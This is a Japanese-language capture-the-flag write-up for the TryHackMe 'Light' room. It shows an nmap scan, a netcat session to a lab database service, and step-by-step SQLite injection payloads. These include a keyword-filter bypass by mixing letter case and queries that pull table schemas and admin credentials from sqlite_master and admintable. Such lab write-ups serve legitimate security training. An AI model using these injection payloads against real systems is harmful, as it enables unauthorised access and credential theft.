Light - writeup
Task1 Welcome
Q. What is the admin username?
nmapをします。
─$ nmap -Pn -sC -sV -A -T4 -oN nmap_result 10.49.189.230 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-25 01:19 -0500
Nmap scan report for 10.49.189.230
Host is up (0.14s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6b:c4:b0:07:ea:0d:79:2d:5a:8f:da:b5:df:1b:74:8e (RSA)
| 256 78:d0:bf:5b:77:82:18:0d:8f:29:f7:8a:4c:76:f6:a4 (ECDSA)
|_ 256 96:bb:22:c0:a6:9f:0c:fe:20:6c:40:7b:77:c5:2c:23 (ED25519)
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| Welcome to the Light database!
| Please enter your username:
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest:
| Welcome to the Light database!
| Please enter your username: U
問題文からnc 10.49.189.230 1337でデータベースアプリを動かしているということで、アクセスするとusernameが求められました。
nc 10.49.189.230 1337
Welcome to the Light database!
Please enter your username:
問題文からsmokeyというusernameが使えるとのことなので入力します。
Please enter your username: smokey
Password: vYQ5ngPpw8AdUmL
Please enter your username:
usernameが求められるだけで何も起こりません。sshにログインを試しましたがログインできませんでした。
sqlインジェクションができるか試します。
Please enter your username: ' OR '1'='1
Password: tF8tj2o94WE4LKC
sqlインジェクション化できそうです。また、このパスワードも特に使えませんでした。
Lightと呼ばれるアプリなのでsqlliteだと推測し、テーブル名を取得するsqlインジェクションを試しました。SELECTやUNIONでバリデーションチェックが入っていましたが、小文字と組み合わせることで回避できました。
Please enter your username: union
Ahh there is a word in there I don't like :(
Please enter your username: select
Ahh there is a word in there I don't like :(
Please enter your username: uNION
Username not found.
Please enter your username: sELECT
Username not found.
SQLインジェクションのクエリはこのサイトを参考にしました。
このクエリはテーブルの名前を見つけるものです。
Please enter your username: ' uNION sELECT tbl_name FROM sqlite_master WHERE type='table
Password: admintable
admintableを発見しました。
次にカラムを調べるクエリを投げます。
Please enter your username: ' uNION sELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='admintable
Password: CREATE TABLE admintable (
id INTEGER PRIMARY KEY,
username TEXT,
password INTEGER)
usernameとpasswordのカラムを発見しました。
それぞれを調べると、
Please enter your username: ' uNION sELECT username FROM admintable'
Password: TryHackMeAdmin
Please enter your username: ' uNION sELECT password FROM admintable'
Password: THM{******************************}
adminの名前となぜかflagが取得できました。
A. TryHackMeAdmin
Q. What is the password to the username mentioned in question 1?
パスワードはwhere句でTryHackMeAdminを指定して取得できました。
Please enter your username: ' uNION sELECT password FROM admintable WHERE username = 'TryHackMeAdmin
Password: mamZtAuMlrsEy5bp6q17
A. mamZtAuMlrsEy5bp6q17
Q. What is the flag?
A. THM{****************************}
疑問
usernameとpasswordを調べたときにadminのユーザーネームとadminのパスワードでなくて、adminのユーザーネームとflagが取れたのは疑問でした。調べるとflagというユーザー名があり、それのpasswordがflagの値だそうです。